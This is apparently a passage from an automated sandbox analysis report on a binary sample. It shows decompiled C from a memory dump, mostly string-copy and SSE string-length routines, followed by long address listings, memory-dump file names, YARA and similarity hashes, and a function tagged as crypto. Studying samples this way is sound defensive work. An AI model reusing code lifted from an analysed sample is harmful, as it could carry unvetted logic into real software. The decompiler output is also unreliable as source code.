													asm("movdqu xmm1, [ebx+edx*2]");
													asm("pcmpeqw xmm1, xmm0");
													asm("pmovmskb ecx, xmm1");
													__eflags = _t326;
													if(_t326 != 0) {
														break;
													}
													_t353 = _t353 + 8;
													__eflags = _t353 - _t248;
													if(_t353 < _t248) {
														continue;
													}
													_v32 = _t300;
													__eflags = _t248 - 0x7fffffff;
													if(_t248 >= 0x7fffffff) {
														goto L84;
													}
													goto L80;
												}
												asm("bsf eax, eax");
												_v32 = _t300;
												_t251 = (_t326 >> 1) + _t353;
												goto L163;
											}
										}
										goto L40;
									}
									_t283 =  *_t321 & 0x0000ffff;
									 *_t421 = _t283;
									__eflags = _t283;
									if(_t283 == 0) {
										goto L34;
									}
									_v68 = _t398;
									_t284 = _t296;
									while(1) {
										_t284 = _t284 + 1;
										_t414 =  *(_t321 + _t284 * 4 - 2) & 0x0000ffff;
										 *(_t421 + _t284 * 4 - 2) = _t414;
										__eflags = _t414;
										if(_t414 == 0) {
											break;
										}
										_t415 =  *(_t321 + _t284 * 4) & 0x0000ffff;
										 *(_t421 + _t284 * 4) = _t415;
										__eflags = _t415;
										if(_t415 != 0) {
											continue;
										}
										break;
									}
									_t398 = _v68;
									goto L34;
								}
							}
							_t421 = _v40;
							goto L37;
						}
						_t288 = _t417 & 0x0000000f;
						__eflags = _t288;
						if(_t288 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t395 =  ~( ~_t288 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t395;
							while(1) {
								asm("movdqu xmm1, [esi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								__eflags = _t312;
								if(_t312 != 0) {
									break;
								}
								_t288 = _t288 + 8;
								__eflags = _t288 - _t395;
								if(_t288 < _t395) {
									continue;
								}
								__eflags = _t395 - 0x7fffffff;
								if(_t395 >= 0x7fffffff) {
									L22:
									_t418 = 0x40;
									_t345 = 0x7fffffff;
									goto L23;
								} else {
									goto L20;
								}
								while(1) {
									L20:
									__eflags =  *(_t417 + _t395 * 2) & 0x0000ffff;
									if(( *(_t417 + _t395 * 2) & 0x0000ffff) == 0) {
										break;
									}
									_t395 = _t395 + 1;
									__eflags = _t395 - 0x7fffffff;
									if(_t395 < 0x7fffffff) {
										continue;
									}
									goto L22;
								}
								L64:
								__eflags = _t345 - 0xfffffffe;
								if(_t345 != 0xfffffffe) {
									_t418 = 0x40;
								} else {
									 *_t417 = _t296;
									_t418 = _v36;
								}
								goto L23;
							}
							asm("bsf edx, ecx");
							_t345 = (_t395 >> 1) + _t288;
							goto L64;
						}
						_t395 = _t296;
						__eflags = _t288 & 0x00000001;
						if((_t288 & 0x00000001) != 0) {
							goto L20;
						}
						_t288 =  ~_t288 + 0x10 >> 1;
						__eflags = _t288;
						while(1) {
							_t312 =  *(_t417 + _t395 * 2) & 0x0000ffff;
							__eflags = _t312;
							if(_t312 == 0) {
								goto L64;
							}
							_t395 = _t395 + 1;
							__eflags = _t395 - _t288;
							if(_t395 < _t288) {
								continue;
							}
							goto L16;
						}
						goto L64;
					}
					_t227 =  &_v40;
					goto L38;
				}
				if(_t417 == 0) {
					L6:
					_push(2);
					_push(_t344);
					E6EBA10B0();
					_t447 = _t447 + 8;
					goto L8;
				}
				_t293 =  *_t344 & 0x0000ffff;
				 *_t417 = _t293;
				if(_t293 == 0) {
					goto L6;
				}
				_t294 = 0;
				while(1) {
					_t294 = _t294 + 1;
					_t312 =  *(_t344 + _t294 * 4 - 2) & 0x0000ffff;
					 *(_t417 + _t294 * 4 - 2) = _t312;
					if(_t312 == 0) {
						goto L6;
					}
					_t312 =  *(_t344 + _t294 * 4) & 0x0000ffff;
					 *(_t417 + _t294 * 4) = _t312;
					if(_t312 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6ebaa660
0x6ebaa66c
0x6ebaa66e
0x6ebaa672
0x6ebaa674
0x6ebaa678
0x6ebaa682
0x6ebaa684
0x6ebaa687
0x6ebaa68d
0x6ebaa6c7
0x6ebaa6ca
0x6ebaa6ce
0x6ebaa6d6
0x6ebaa6dc
0x6ebaa6e7
0x6ebaa6e9
0x6ebaae6d
0x6ebaae72
0x6ebaa76d
0x6ebaa772
0x6ebaa772
0x6ebaa775
0x6ebaa778
0x6ebaa77b
0x6ebaa77d
0x6ebaa792
0x6ebaa795
0x6ebaa795
0x6ebaa79a
0x6ebaa7a2
0x6ebaa7a2
0x6ebaa7a2
0x6ebaa7a3
0x6ebaa7aa
0x6ebaa7b4
0x6ebaa7b8
0x6ebaa7b9
0x6ebaa7bd
0x6ebaa7c2
0x6ebaa7c6
0x6ebaa7c8
0x6ebaa7cb
0x6ebaa7cf
0x6ebaa7d1
0x6ebaa819
0x00000000
0x6ebaa7d3
0x6ebaa7d3
0x6ebaa7d5
0x6ebaa804
0x6ebaa804
0x6ebaa806
0x6ebaa807
0x6ebaa80b
0x6ebaa810
0x6ebaa814
0x6ebaa81c
0x6ebaa820
0x6ebaa824
0x6ebaa828
0x6ebaa82c
0x6ebaa830
0x6ebaa836
0x6ebaa83b
0x6ebaa83b
0x6ebaa83d
0x6ebaa842
0x6ebaa84b
0x6ebaa84b
0x6ebaa850
0x6ebaa852
0x6ebaa85a
0x6ebaa85c
0x6ebaa85f
0x6ebaa863
0x6ebaa8a0
0x6ebaa94a
0x6ebaa94a
0x6ebaa94c
0x6ebaa953
0x6ebaa953
0x6ebaa955
0x6ebaa959
0x6ebaa961
0x6ebaa967
0x6ebaa974
0x6ebaa974
0x6ebaa867
0x6ebaa890
0x6ebaa890
0x6ebaa892
0x6ebaa893
0x6ebaa898
0x00000000
0x6ebaa898
0x6ebaa869
0x6ebaa86c
0x6ebaa871
0x00000000
0x00000000
0x6ebaa873
0x6ebaa875
0x6ebaa875
0x6ebaa876
0x6ebaa87b
0x6ebaa882
0x00000000
0x00000000
0x6ebaa884
0x6ebaa888
0x6ebaa88e
0x00000000
0x00000000
0x00000000
0x6ebaa88e
0x00000000
0x6ebaa875
0x6ebaa844
0x6ebaa849
0x6ebaa8a8
0x6ebaa8aa
0x6ebaa8ac
0x6ebaa8f5
0x6ebaa8f5
0x6ebaa8fa
0x6ebaa8fc
0x6ebaa904
0x6ebaa906
0x6ebaa909
0x6ebaa90b
0x6ebaa90d
0x6ebaa947
0x00000000
0x6ebaa947
0x6ebaa90f
0x6ebaa911
0x6ebaa93a
0x6ebaa93a
0x6ebaa93c
0x6ebaa93d
0x6ebaa942
0x00000000
0x6ebaa942
0x6ebaa913
0x6ebaa916
0x6ebaa919
0x6ebaa91b
0x00000000
0x00000000
0x6ebaa91d
0x6ebaa91f
0x6ebaa91f
0x6ebaa920
0x6ebaa925
0x6ebaa92a
0x6ebaa92c
0x00000000
0x00000000
0x6ebaa92e
0x6ebaa932
0x6ebaa936
0x6ebaa938
0x00000000
0x00000000
0x00000000
0x6ebaa938
0x00000000
0x6ebaa91f
0x6ebaa8b1
0x6ebaa8b3
0x00000000
0x00000000
0x6ebaa8b5
0x6ebaa8bc
0x6ebaa8c2
0x6ebaa8c5
0x6ebaa8c7
0x6ebaa8ca
0x6ebaa8ce
0x6ebaa8ce
0x6ebaa8d5
0x6ebaa8db
0x6ebaa8de
0x6ebaa8e1
0x00000000
0x00000000
0x6ebaa8e7
0x6ebaa8ec
0x6ebaa8ee
0x00000000
0x00000000
0x6ebaa8f0
0x6ebaa8f0
0x6ebaa8f3
0x6ebaa8f3
0x00000000
0x6ebaa8f3
0x6ebaa992
0x6ebaa996
0x6ebaa999
0x6ebaa99c
0x6ebaa99e
0x6ebaa9a0
0x00000000
0x00000000
0x6ebaa9a8
0x6ebaa9ab
0x6ebaa9af
0x6ebaa9b7
0x6ebaa9bf
0x6ebaa9c3
0x6ebaa9c7
0x6ebaa9cb
0x6ebaa9cf
0x6ebaa9d3
0x6ebaa9d7
0x6ebaa9e7
0x6ebaa9e7
0x6ebaa9e7
0x6ebaa9e9
0x6ebaa9eb
0x00000000
0x00000000
0x6ebaa9ed
0x6ebaa9ef
0x6ebaa9f1
0x6ebaaa5a
0x6ebaaa5a
0x6ebaaa5e
0x6ebaaa62
0x6ebaaa64
0x00000000
0x00000000
0x6ebaaa6a
0x6ebaaa6b
0x6ebaaa70
0x00000000
0x00000000
0x6ebaaa72
0x6ebaaa7a
0x6ebaaa7a
0x6ebaaa7f
0x6ebaaa7f
0x6ebaaa82
0x6ebaaa82
0x6ebaaa84
0x6ebaaa88
0x6ebaaa8c
0x6ebaaa93
0x6ebaaa99
0x6ebaaa9f
0x6ebaaaa2
0x6ebaaaa8
0x6ebaaaab
0x6ebaaaae
0x00000000
0x00000000
0x6ebaaaba
0x6ebaaabc
0x6ebaaac4
0x6ebaaac4
0x6ebaaac8
0x6ebaaaca
0x6ebaaacd
0x6ebaaacf
0x00000000
0x00000000
0x6ebaaad5
0x6ebaaad5
0x6ebaaad7
0x6ebaaad9
0x6ebaab3a
0x6ebaab3a
0x6ebaab3d
0x6ebaab5f
0x6ebaab6b
0x6ebaab6b
0x6ebaab71
0x6ebaab71
0x6ebaab76
0x6ebaab7a
0x6ebaab7e
0x6ebaab80
0x00000000
0x00000000
0x6ebaab86
0x6ebaab89
0x6ebaab8b
0x00000000
0x00000000
0x6ebaab8d
0x6ebaab8f
0x6ebaab95
0x6ebaaba8
0x6ebaaba8
0x6ebaabad
0x6ebaabb2
0x6ebaabb4
0x6ebaabb6
0x6ebaabb8
0x6ebaabbe
0x6ebaabbe
0x6ebaabc0
0x6ebaabc0
0x6ebaabc2
0x6ebaabc5
0x6ebaabc8
0x6ebaabca
0x6ebaad2f
0x6ebaad2f
0x6ebaad39
0x6ebaad3b
0x6ebaad3e
0x6ebaad40
0x6ebaad42
0x6ebaad7f
0x00000000
0x6ebaad7f
0x6ebaad44
0x6ebaad46
0x6ebaad6f
0x6ebaad6f
0x6ebaad71
0x6ebaad72
0x6ebaad77
0x00000000
0x6ebaad77
0x6ebaad48
0x6ebaad4b
0x6ebaad4e
0x6ebaad50
0x00000000
0x00000000
0x6ebaad52
0x6ebaad54
0x6ebaad54
0x6ebaad55
0x6ebaad5a
0x6ebaad5f
0x6ebaad61
0x00000000
0x00000000
0x6ebaad63
0x6ebaad67
0x6ebaad6b
0x6ebaad6d
0x00000000
0x00000000
0x00000000
0x6ebaad6d
0x00000000
0x6ebaad54
0x6ebaabd3
0x6ebaabd5
0x00000000
0x00000000
0x6ebaabdb
0x6ebaabdd
0x6ebaac4d
0x6ebaac52
0x6ebaac52
0x6ebaac55
0x6ebaac58
0x6ebaac5b
0x6ebaac5d
0x6ebaac70
0x6ebaac73
0x6ebaac73
0x6ebaac79
0x6ebaac81
0x6ebaac81
0x6ebaac81
0x6ebaac82
0x6ebaac89
0x6ebaac93
0x6ebaac97
0x6ebaac98
0x6ebaac9c
0x6ebaaca1
0x6ebaaca5
0x6ebaaca8
0x6ebaacaa
0x6ebaacac
0x6ebaacfc
0x00000000
0x6ebaacae
0x6ebaacae
0x6ebaacb0
0x6ebaacdf
0x6ebaacdf
0x6ebaace1
0x6ebaace2
0x6ebaace6
0x6ebaacea
0x6ebaacef
0x6ebaacf3
0x6ebaacf7
0x6ebaacff
0x6ebaad03
0x6ebaad06
0x6ebaad08
0x6ebaad08
0x6ebaad0a
0x00000000
0x00000000
0x6ebaad10
0x6ebaad1a
0x6ebaad1a
0x6ebaad1d
0x6ebaad1e
0x6ebaad21
0x6ebaad23
0x00000000
0x00000000
0x6ebaad25
0x6ebaad27
0x6ebaad8e
0x6ebaad90
0x00000000
0x6ebaad90
0x6ebaad29
0x6ebaad29
0x6ebaad2b
0x6ebaad99
0x00000000
0x6ebaad99
0x6ebaad14
0x6ebaad17
0x6ebaad17
0x6ebaad17
0x6ebaad1a
0x6ebaacb2
0x6ebaacb5
0x6ebaacb8
0x6ebaacba
0x6ebaacbd
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebaacbf
0x6ebaacbf
0x6ebaacbf
0x6ebaacc0
0x6ebaacc5
0x6ebaacca
0x6ebaaccc
0x00000000
0x00000000
0x6ebaacce
0x6ebaacd2
0x6ebaacd6
0x6ebaacd8
0x00000000
0x00000000
0x00000000
0x6ebaacd8
0x6ebaacda
0x6ebaacdd
0x6ebaacdd
0x00000000
0x6ebaacdd
0x6ebaacac
0x6ebaac5f
0x00000000
0x6ebaac5f
0x6ebaabe1
0x6ebaabe1
0x6ebaabe4
0x6ebaac01
0x6ebaac0d
0x6ebaac0d
0x6ebaac13
0x6ebaac13
0x6ebaac18
0x6ebaac1c
0x6ebaac20
0x6ebaac22
0x00000000
0x00000000
0x6ebaac28
0x6ebaac2b
0x6ebaac2d
0x00000000
0x00000000
0x6ebaac2f
0x6ebaac35
0x6ebaac48
0x6ebaac48
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebaac37
0x6ebaac37
0x6ebaac3b
0x6ebaac3d
0x00000000
0x00000000
0x6ebaac3f
0x6ebaac40
0x6ebaac46
0x00000000
0x00000000
0x00000000
0x6ebaac46
0x00000000
0x6ebaac37
0x6ebaadbf
0x6ebaadc4
0x00000000
0x6ebaadc4
0x6ebaabe6
0x6ebaabe8
0x6ebaabeb
0x00000000
0x00000000
0x6ebaabf2
0x6ebaabf2
0x6ebaabf4
0x6ebaabf4
0x6ebaabf8
0x6ebaabfa
0x00000000
0x00000000
0x6ebaabfc
0x6ebaabfd
0x6ebaabff
0x00000000
0x00000000
0x00000000
0x6ebaabff
0x00000000
0x6ebaabf4
0x6ebaabba
0x6ebaabbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebaab97
0x6ebaab97
0x6ebaab9b
0x6ebaab9d
0x00000000
0x00000000
0x6ebaab9f
0x6ebaaba0
0x6ebaaba6
0x00000000
0x00000000
0x00000000
0x6ebaaba6
0x00000000
0x6ebaab97
0x6ebaadcb
0x6ebaadcd
0x6ebaadcf
0x6ebaadd4
0x00000000
0x6ebaadd4
0x6ebaab3f
0x6ebaab41
0x6ebaab43
0x00000000
0x00000000
0x6ebaab4a
0x6ebaab4a
0x6ebaab4c
0x6ebaab50
0x6ebaab52
0x00000000
0x00000000
0x6ebaab58
0x6ebaab59
0x6ebaab5b
0x00000000
0x00000000
0x6ebaab5d
0x6ebaab5d
0x00000000
0x6ebaab5d
0x6ebaad87
0x00000000
0x6ebaad87
0x6ebaaadb
0x6ebaaae0
0x6ebaaae2
0x6ebaaaea
0x6ebaaaec
0x6ebaaaef
0x6ebaaaf1
0x6ebaaaf3
0x6ebaab30
0x00000000
0x6ebaab30
0x6ebaaaf5
0x6ebaaaf7
0x6ebaab20
0x6ebaab20
0x6ebaab22
0x6ebaab23
0x6ebaab28
0x00000000
0x6ebaab28
0x6ebaaaf9
0x6ebaaafc
0x6ebaaaff
0x6ebaab01
0x00000000
0x00000000
0x6ebaab03
0x6ebaab05
0x6ebaab05
0x6ebaab06
0x6ebaab0b
0x6ebaab10
0x6ebaab12
0x00000000
0x00000000
0x6ebaab14
0x6ebaab18
0x6ebaab1c
0x6ebaab1e
0x00000000
0x00000000
0x00000000
0x6ebaab1e
0x00000000
0x6ebaab05
0x6ebaaabe
0x6ebaaabf
0x6ebaaac2
0x00000000
0x00000000
0x00000000
0x6ebaaac2
0x6ebaade9
0x6ebaade9
0x6ebaadec
0x00000000
0x00000000
0x6ebaadf6
0x6ebaadf8
0x00000000
0x00000000
0x6ebaadfe
0x6ebaae02
0x6ebaae02
0x6ebaae04
0x6ebaae04
0x6ebaae0e
0x6ebaae11
0x6ebaae17
0x6ebaae21
0x6ebaae24
0x6ebaae27
0x00000000
0x00000000
0x6ebaae31
0x6ebaae33
0x00000000
0x00000000
0x00000000
0x6ebaae35
0x6ebaa9db
0x6ebaa9df
0x6ebaa9e3
0x00000000
0x6ebaa9e3
0x6ebaae3a
0x6ebaadac
0x6ebaadac
0x6ebaadae
0x00000000
0x00000000
0x6ebaadb4
0x00000000
0x00000000
0x00000000
0x6ebaadba
0x6ebaa9f3
0x6ebaa9f7
0x6ebaa9f9
0x6ebaa9fd
0x6ebaa9ff
0x00000000
0x00000000
0x6ebaaa05
0x6ebaaa06
0x6ebaaa08
0x00000000
0x00000000
0x6ebaaa0a
0x6ebaaa12
0x00000000
0x6ebaaa12
0x6ebaada0
0x00000000
0x6ebaaa16
0x6ebaaa22
0x6ebaaa26
0x6ebaaa26
0x6ebaaa2b
0x6ebaaa2b
0x6ebaaa30
0x6ebaaa34
0x6ebaaa38
0x6ebaaa3a
0x00000000
0x00000000
0x6ebaaa40
0x6ebaaa43
0x6ebaaa45
0x00000000
0x00000000
0x6ebaaa47
0x6ebaaa53
0x6ebaaa58
0x00000000
0x00000000
0x00000000
0x6ebaaa58
0x6ebaae49
0x6ebaae4e
0x6ebaae52
0x00000000
0x6ebaae58
0x6ebaa9e7
0x00000000
0x6ebaa849
0x6ebaa7d7
0x6ebaa7da
0x6ebaa7dd
0x6ebaa7df
0x00000000
0x00000000
0x6ebaa7e1
0x6ebaa7e4
0x6ebaa7e6
0x6ebaa7e6
0x6ebaa7e7
0x6ebaa7ec
0x6ebaa7f1
0x6ebaa7f3
0x00000000
0x00000000
0x6ebaa7f5
0x6ebaa7f9
0x6ebaa7fd
0x6ebaa7ff
0x00000000
0x00000000
0x00000000
0x6ebaa7ff
0x6ebaa801
0x00000000
0x6ebaa801
0x6ebaa7d1
0x6ebaa77f
0x00000000
0x6ebaa77f
0x6ebaa6f1
0x6ebaa6f1
0x6ebaa6f4
0x6ebaa714
0x6ebaa718
0x6ebaa724
0x6ebaa724
0x6ebaa72a
0x6ebaa72a
0x6ebaa72f
0x6ebaa733
0x6ebaa737
0x6ebaa739
0x00000000
0x00000000
0x6ebaa73f
0x6ebaa742
0x6ebaa744
0x00000000
0x00000000
0x6ebaa746
0x6ebaa74c
0x6ebaa763
0x6ebaa763
0x6ebaa768
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebaa74e
0x6ebaa74e
0x6ebaa752
0x6ebaa754
0x00000000
0x00000000
0x6ebaa75a
0x6ebaa75b
0x6ebaa761
0x00000000
0x00000000
0x00000000
0x6ebaa761
0x6ebaa977
0x6ebaa977
0x6ebaa97a
0x6ebaa988
0x6ebaa97c
0x6ebaa97c
0x6ebaa97f
0x6ebaa97f
0x00000000
0x6ebaa97a
0x6ebaae61
0x6ebaae66
0x00000000
0x6ebaae66
0x6ebaa6f6
0x6ebaa6f8
0x6ebaa6fa
0x00000000
0x00000000
0x6ebaa701
0x6ebaa701
0x6ebaa703
0x6ebaa703
0x6ebaa707
0x6ebaa709
0x00000000
0x00000000
0x6ebaa70f
0x6ebaa710
0x6ebaa712
0x00000000
0x00000000
0x00000000
0x6ebaa712
0x00000000
0x6ebaa703
0x6ebaa6de
0x00000000
0x6ebaa6de
0x6ebaa691
0x6ebaa6ba
0x6ebaa6ba
0x6ebaa6bc
0x6ebaa6bd
0x6ebaa6c2
0x00000000
0x6ebaa6c2
0x6ebaa693
0x6ebaa696
0x6ebaa69b
0x00000000
0x00000000
0x6ebaa69d
0x6ebaa69f
0x6ebaa69f
0x6ebaa6a0
0x6ebaa6a5
0x6ebaa6ac
0x00000000
0x00000000
0x6ebaa6ae
0x6ebaa6b2
0x6ebaa6b8
0x00000000
0x00000000
0x00000000
0x6ebaa6b8
0x00000000

Strings

@, xrefs: 6EBAA6CE

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ae6b3e210800e4c3dadabf5ebb6fe57ad04fee7b8c08fcbeb00b4035cedc0044
Instruction ID: c48a5aba4f04d85b7ee3fad4c4a53c200741ab54858785d3239eeaa78f692b11
Opcode Fuzzy Hash: ae6b3e210800e4c3dadabf5ebb6fe57ad04fee7b8c08fcbeb00b4035cedc0044
Instruction Fuzzy Hash: 1C323771A187938BDB508FADC45022A7BE2FFC4710B14862DEAE597394FB34D846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB1EB0, Relevance: 1.9, Strings: 1, Instructions: 682
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6EBB1EB0(intOrPtr* __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t210;
				signed int _t211;
				signed int* _t217;
				char* _t221;
				signed int* _t222;
				intOrPtr _t227;
				signed int _t232;
				signed int _t235;
				signed int _t239;
				signed int _t241;
				signed int* _t247;
				signed int _t248;
				signed int _t250;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t259;
				signed int _t260;
				signed int _t265;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				char _t276;
				signed int _t278;
				signed int _t279;
				signed int _t282;
				signed int _t283;
				intOrPtr* _t286;
				signed int _t287;
				signed int _t291;
				signed int _t293;
				signed int _t294;
				void* _t296;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t303;
				char _t304;
				char _t305;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				void* _t320;
				signed int _t321;
				signed int _t322;
				signed int _t323;
				intOrPtr* _t325;
				char _t326;
				signed int _t327;
				intOrPtr* _t329;
				signed int _t330;
				signed int _t331;
				void* _t333;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				void* _t339;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				void* _t343;
				intOrPtr* _t351;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				char _t357;
				signed int _t360;
				signed int _t361;
				signed int _t366;
				char _t368;
				char _t369;
				char _t370;
				signed int _t372;
				unsigned int _t377;
				signed int _t379;
				intOrPtr _t381;
				signed int _t385;
				signed int _t386;
				signed char* _t392;
				signed int _t393;
				signed int _t395;
				signed int _t401;
				signed int _t402;
				unsigned int _t408;
				signed int _t410;
				void* _t411;
				signed int _t417;
				signed int _t421;
				signed int _t427;
				signed int _t428;
				void* _t431;

				_v56 = 0;
				_t286 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t372 = E6EBA1030();
				_t431 = (_t428 & 0xfffffff0) - 0x34 + 4;
				_t210 = _v56;
				if(_t210 == 0) {
					 *_t372 = 0;
				} else {
					if(_t372 != 0) {
						_t368 =  *_t210;
						 *_t372 = _t368;
						if(_t368 != 0) {
							_t319 = 0;
							while(1) {
								_t319 = _t319 + 1;
								_t369 =  *((char*)(_t210 + _t319 * 2 - 1));
								 *((char*)(_t372 + _t319 * 2 - 1)) = _t369;
								if(_t369 == 0) {
									goto L6;
								}
								_t370 =  *((char*)(_t210 + _t319 * 2));
								 *((char*)(_t372 + _t319 * 2)) = _t370;
								if(_t370 != 0) {
									continue;
								}
								goto L6;
							}
						}
					}
					L6:
					_push(1);
					_push(_t210);
					E6EBA10B0();
					_t431 = _t431 + 8;
				}
				_t211 = _a8;
				_v52 = 0x40;
				_v56 = _t372;
				if(_t211 != 0) {
					__eflags = _t372;
					if(_t372 == 0) {
						_t302 = 0x40;
						_t401 = 0;
					} else {
						_t366 = _t372 & 0x0000000f;
						__eflags = _t366;
						if(_t366 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t427 =  ~( ~_t366 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t427;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t211;
								if(_t211 != 0) {
									break;
								}
								_t366 = _t366 + 0x10;
								__eflags = _t366 - _t427;
								if(_t366 < _t427) {
									continue;
								} else {
									__eflags = _t427 - 0x7fffffff;
									if(_t427 >= 0x7fffffff) {
										L21:
										_t302 = 0x40;
										_t401 = 0x7fffffff;
									} else {
										while(1) {
											__eflags =  *((char*)(_t427 + _t372));
											if( *((char*)(_t427 + _t372)) == 0) {
												goto L174;
											}
											_t427 = _t427 + 1;
											__eflags = _t427 - 0x7fffffff;
											if(_t427 < 0x7fffffff) {
												continue;
											} else {
												goto L21;
											}
											goto L22;
										}
										goto L174;
									}
								}
								goto L22;
							}
							asm("bsf esi, eax");
							_t401 = _t427 + _t366;
							goto L174;
						} else {
							_t401 = 0;
							_t366 =  ~_t366 + 0x10;
							__eflags = _t366;
							while(1) {
								__eflags =  *((char*)(_t401 + _t372));
								if( *((char*)(_t401 + _t372)) == 0) {
									break;
								}
								_t401 = _t401 + 1;
								__eflags = _t401 - _t366;
								if(_t401 < _t366) {
									continue;
								} else {
									goto L15;
								}
								goto L22;
							}
							L174:
							__eflags = _t401 - 0xfffffffe;
							if(_t401 != 0xfffffffe) {
								_t302 = 0x40;
							} else {
								 *_t372 = 0;
								_t302 = _v52;
							}
						}
					}
					L22:
					_t20 = _t401 + 2; // 0x80000001
					_t320 = _t20;
					__eflags = _t320 - 0x40;
					_t321 =  <=  ? 0x40 : _t320;
					__eflags = _t302 - _t321;
					if(_t302 < _t321) {
						_t377 = (_t321 >> 5 >> 0x1a) + _t321 >> 6;
						_t322 = _t321 & 0x8000003f;
						__eflags = _t322;
						if(_t322 < 0) {
							_t322 = (_t322 - 0x00000001 | 0xffffffc0) + 1;
							__eflags = _t322;
						}
						__eflags = _t322;
						_t379 = _t377 + (0 | _t322 > 0x00000000) << 6;
						_push(_t379);
						_t303 = E6EBA1030();
						_t431 = _t431 + 4;
						_t323 = _v56;
						__eflags = _t323;
						if(_t323 == 0) {
							 *_t303 = 0;
						} else {
							__eflags = _t303;
							if(_t303 != 0) {
								_t282 =  *_t323;
								 *_t303 = _t282;
								__eflags = _t282;
								if(_t282 != 0) {
									_v60 = _t379;
									_t283 = 0;
									__eflags = 0;
									_v64 = _t401;
									_v68 = _t286;
									while(1) {
										_t283 = _t283 + 1;
										_t299 =  *((char*)(_t323 + _t283 * 2 - 1));
										 *(_t303 + _t283 * 2 - 1) = _t299;
										__eflags = _t299;
										if(_t299 == 0) {
											break;
										}
										_t300 =  *((char*)(_t323 + _t283 * 2));
										 *(_t303 + _t283 * 2) = _t300;
										__eflags = _t300;
										if(_t300 != 0) {
											continue;
										}
										break;
									}
									_t379 = _v60;
									_t401 = _v64;
									_t286 = _v68;
								}
							}
							_push(1);
							_push(_t323);
							_v68 = _t303;
							E6EBA10B0();
							_t303 = _v68;
							_t431 = _t431 + 8;
						}
						_v52 = _t379;
						_v56 = _t303;
					} else {
						_t303 = _v56;
					}
					 *((char*)(_t303 + _t401)) = _a8;
					_t217 =  &_v56;
					 *((char*)(_t401 +  *_t217 + 1)) = 0;
				} else {
					_t217 =  &_v56;
				}
				_t402 =  *_t217;
				if(_t402 == 0) {
					L39:
					_t325 = _a4;
					_push(0x40);
					 *_t325 = 0;
					 *((intOrPtr*)(_t325 + 4)) = 0;
					_t287 = E6EBA1030();
					_t431 = _t431 + 4;
					_t221 =  *_a4;
					if(_t221 == 0) {
						 *_t287 = 0;
					} else {
						if(_t287 != 0) {
							_t326 =  *_t221;
							 *_t287 = _t326;
							if(_t326 != 0) {
								_t327 = 0;
								while(1) {
									_t327 = _t327 + 1;
									_t304 =  *((char*)(_t221 + _t327 * 2 - 1));
									 *((char*)(_t287 + _t327 * 2 - 1)) = _t304;
									if(_t304 == 0) {
										goto L45;
									}
									_t305 =  *((char*)(_t221 + _t327 * 2));
									 *((char*)(_t287 + _t327 * 2)) = _t305;
									if(_t305 != 0) {
										continue;
									}
									goto L45;
								}
							}
						}
						L45:
						_push(1);
						_push(_t221);
						E6EBA10B0();
						_t431 = _t431 + 8;
					}
					goto L124;
				} else {
					_t227 =  *_t402;
					_v40 = _t227;
					if(_t227 != 0) {
						_v64 =  *_t286;
						_t307 = E6EBB5A90( *_t286, _t402);
						__eflags = _t307;
						if(_t307 == 0) {
							_t329 = _a4;
							_push(0x40);
							 *_t329 = 0;
							 *((intOrPtr*)(_t329 + 4)) = 0;
							_t287 = E6EBA1030();
							_t431 = _t431 + 4;
							_t232 =  *_a4;
							__eflags = _t232;
							if(_t232 == 0) {
								 *_t287 = 0;
							} else {
								__eflags = _t287;
								if(_t287 != 0) {
									_t330 =  *_t232;
									 *_t287 = _t330;
									__eflags = _t330;
									if(_t330 != 0) {
										_t331 = 0;
										__eflags = 0;
										while(1) {
											_t331 = _t331 + 1;
											_t308 =  *((char*)(_t232 + _t331 * 2 - 1));
											 *(_t287 + _t331 * 2 - 1) = _t308;
											__eflags = _t308;
											if(_t308 == 0) {
												goto L172;
											}
											_t309 =  *((char*)(_t232 + _t331 * 2));
											 *(_t287 + _t331 * 2) = _t309;
											__eflags = _t309;
											if(_t309 != 0) {
												continue;
											}
											goto L172;
										}
									}
								}
								L172:
								_push(1);
								_push(_t232);
								E6EBA10B0();
								_t431 = _t431 + 8;
							}
							goto L124;
						} else {
							_t381 = _v40;
							_t235 = _t402 & 0x0000000f;
							_v36 = _t235;
							asm("pxor xmm0, xmm0");
							_v20 = _t402;
							_v44 = _t381 - 0x41;
							_v24 =  ~_t235 + 0x10;
							_v48 = _t381 + 0x20;
							_t333 = 0;
							__eflags = 0;
